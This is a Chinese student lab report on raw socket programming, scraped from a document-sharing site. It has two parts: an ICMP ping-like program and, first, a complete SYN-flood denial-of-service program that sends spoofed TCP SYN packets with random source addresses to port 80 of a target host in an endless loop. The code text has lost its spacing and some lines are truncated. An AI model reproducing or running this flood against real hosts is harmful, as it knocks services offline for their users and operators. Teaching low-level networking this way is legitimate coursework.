嵌入式linux系统高级编程实验报告10

嵌入式linux系统高级编程实验报告10

ID:13620551

大小:48.00 KB

页数:9页

时间:2018-07-23

上传者:jjuclb
嵌入式linux系统高级编程实验报告10_第1页
嵌入式linux系统高级编程实验报告10_第2页
嵌入式linux系统高级编程实验报告10_第3页
嵌入式linux系统高级编程实验报告10_第4页
嵌入式linux系统高级编程实验报告10_第5页
资源描述:

《嵌入式linux系统高级编程实验报告10》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

湖北第二师范学院计算机学院实验报告实验报告单课程名称:《嵌入式Linux系统高级编程》学号:1250312025姓名:郝耀峰班级:12计科3班院系:计算机学院专业:计算机科学与技术实验室:S4310同组人:无组号:无辅导老师:丁松实验项目编号:8103104010实验项目名称:IP层通信日期:@计算机工程系 湖北第二师范学院计算机学院实验报告一、实验目的1.掌握IP层通信原理2.掌握面向连接和面向无连接的网络通信二、实验环境RedHatLinuxServer6.0(64位)三、实验原理(或要求)实验1篡改IP包头部地址,进行拒绝服务式攻击实验2模拟ping程序(icmp编程)根据ICMP协议,编写一个类似ping的程序,具体的要求是:程序发出一个ICMP包到目的IP,然后等待接收回应的包(echo)四、实验步骤(原始套接字编程)实验1篡改IP包头部地址,进行拒绝服务式攻击/********************DOS.c*****************/#include#include#include#include#include#include#include#include#include#defineDESTPORT80/*要攻击的端口(WEB)*/#defineLOCALPORT8888voidsend_tcp(intsockfd,structsockaddr_in*addr);unsignedshortcheck_sum(unsignedshort*addr,intlen);intmain(intargc,char**argv){intsockfd;structsockaddr_inaddr;structhostent*host;@计算机工程系 湖北第二师范学院计算机学院实验报告inton=1;if(argc!=2){fprintf(stderr,"Usage:%shostname a",argv[0]);exit(1);}bzero(&addr,sizeof(structsockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);inet_aton(argv[1],&addr.sin_addr)//注意argv[1]为你要攻击的服务器地址/****使用IPPROTO_TCP创建一个TCP的原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);/********设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写***/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));/****只用超级护用户才可以使用原始套接字*********/setuid(getpid());/*********发送炸弹了!!!!****/send_tcp(sockfd,&addr);}/*******发送欺骗包的实现*********/voidsend_tcp(intsockfd,structsockaddr_in*addr){charbuffer[100];/****用来放置我们的数据包****/structip*ip;structtcphdr*tcp;inthead_len;/*******我们的数据包实际上没有任何内容,所以长度就是两个结构的长度***/head_len=sizeof(structip)+sizeof(structtcphdr);bzero(buffer,100);/********填充IP数据包的头部,还记得IP的头格式吗?******/ip=(structip*)buffer;ip->ip_v=IPVERSION;/**版本一般的是4**/ip->ip_hl=sizeof(structip)>>2;/**IP数据包的头部长度**/ip->ip_tos=0;/**服务类型**/ip->ip_len=htons(head_len);/**IP数据包的长度**/ip->ip_id=0;/**让系统去填写吧**/ip->ip_off=0;/**和上面一样,省点时间**/ip->ip_ttl=MAXTTL;/**最长的时间255**/ip->ip_p=IPPROTO_TCP;/**我们要发的是TCP包**/ip->ip_sum=0;/**校验和让系统去做**/ip->ip_dst=addr->sin_addr;/**我们攻击的对象**//*******开始填写TCP数据包*****/tcp=(structtcphdr*)(buffer+sizeof(structip));@计算机工程系 湖北第二师范学院计算机学院实验报告tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port;/**目的端口**/tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;tcp->syn=1;/**我要建立连接**/tcp->check=0;/**好了,一切都准备好了.**/while(1){/**将IP包的源地址篡改为随机的地址!**/ip->ip_src.s_addr=random();/**下面这条可有可无*/tcp->check=check_sum((unsignedshort*)tcp,sizeof(structtcphdr));//用sendto函数发送该包sendto(sockfd,buffer,head_len,0,addr,sizeof(structsockaddr_in));}}/*下面是首部校验和的算法*/unsignedshortcheck_sum(unsignedshort*addr,intlen){registerintnleft=len;registerintsum=0;registershort*w=addr;shortanswer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsignedchar*)(&answer)=*(unsignedchar*sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}实验2模拟ping程序(icmp编程)根据ICMP协议,编写一个类似ping的程序,具体的要求是:程序发出一个ICMP包到@计算机工程系 湖北第二师范学院计算机学院实验报告目的IP,然后等待接收回应的包(echo)structICMP{unsignedchartype;//类型unsignedcharcode;//代码unsignedshortchecksum;//首部校验和unsignedshortid;//标识unsignedshortseq;//序列号unsignedlongtimestamp;//时间戳};structIP{unsignedcharVIHL;//版本和首部长度unsignedcharToS;//服务类型unsignedshortTotalLen;//总长度unsignedshortID;//标识号unsignedshortFrag_Flags;//段偏移量unsignedcharTTL;//生存时间unsignedcharprotocol;//协议unsignedshortChecksum;//首部校验和structin_addrSrcIP;structin_addrDestIP;};2、ping程序的步骤:Myping(){1设置ICMP头部,具体为:ICMP设置为0设置type域为8设置code域为0设置id为进程号设置seq为1计算校验值,设置checksum为校验值2发送ICMP包到目的IP3等待回收包,判断id和seq是否对应发出的ICMP包,若是,则可判断ping通,否则超时报错}Myping程序:#include#include#include#include@计算机工程系 湖北第二师范学院计算机学院实验报告#include#include#include#include#include#includetypedefstructsockaddrSA;#defineICMP_ECHOREPLY0#defineICMP_DESTUNREACH3#defineICMP_ECHO8#defineICMP_TIMEOUT11#defineMAX_HOPS30#defineICMP_PACKET_MIN8#defineICMP_PACKET_SIZE32#defineMAX_PACKET_SIZE1024structICMP{unsignedchartype;//类型unsignedcharcode;//代码unsignedshortchecksum;//首部校验和unsignedshortid;//标识unsignedshortseq;//序列号unsignedlongtimestamp;//时间戳};structIP{unsignedcharVIHL;//版本和首部长度unsignedcharToS;//服务类型unsignedshortTotalLen;//总长度unsignedshortID;//标识号unsignedshortFrag_Flags;//段偏移量unsignedcharTTL;//生存时间unsignedcharprotocol;//协议unsignedshortChecksum;//首部校验和structin_addrSrcIP;structin_addrDestIP;};voidshow32(char*buf,intlen){//展示整个数据包,其中buf为首地址,len为长度printf("包为:r ");inti=0;for(;itype=ICMP_ECHO;//类型设置为8icmp->code=0;//代码设置为0icmp->id=getpid();//将id设置为进程号icmp->seq=1;//序号随机找的一个整数icmp->checksum=check_sum((uint16_t*)icmp,sizeof(structICMP));//计算校验和//将ICMP包发出去if(sendto(sockfd,buf,len,0,(SA*)dstaddr,dstlen)==-1)err_sys("sendto");}@计算机工程系 湖北第二师范学院计算机学院实验报告voidrecv_echo_reply(intsockfd){charbuf[100];ssize_tn;structIP*ip;structICMP*icmp;while(1){alarm(5);/*settimeout超过5秒则退出程序*/structsockaddr_inpeer;intlen=sizeofpeer;intret=recvfrom(sockfd,buf,sizeof(buf),0,(structsockaddr*)&peer,&len);if(ret<0)err_sys("recvfromerror!r ");ip=(structIP*)buf;if(ip->protocol!=IPPROTO_ICMP){fprintf(stderr,"protocolerror.");exit(1);}icmp=(structICMP*)(buf+sizeof(structIP));if(icmp->type==ICMP_ECHOREPLY){//判断该ICMP包是否匹配if(icmp->id!=getpid()){fprintf(stderr,"notthisprocess.");exit(1);}else{printf("destinationhostisalive.fromicmp->type=%d",inet_ntoa(peer.sin_addr),htons(peer.sin_port),icmp->type);break;}}}}unsignedshortcheck_sum(unsignedshort*addr,intlen){registerintnleft=len;registerintsum=0;registershort*w=addr;shortanswer=0;while(nleft>1)@计算机工程系 湖北第二师范学院计算机学院实验报告{sum+=*w++;nleft-=2;}if(nleft==1){*(unsignedchar*)(&answer)=*(unsignedchar*sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}一、实验小结通过本次实验,我们了解了原始套接字可以将网络编程延伸到IP层和数据链路层,是底层网络编程的有力手段。@计算机工程系

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。
关闭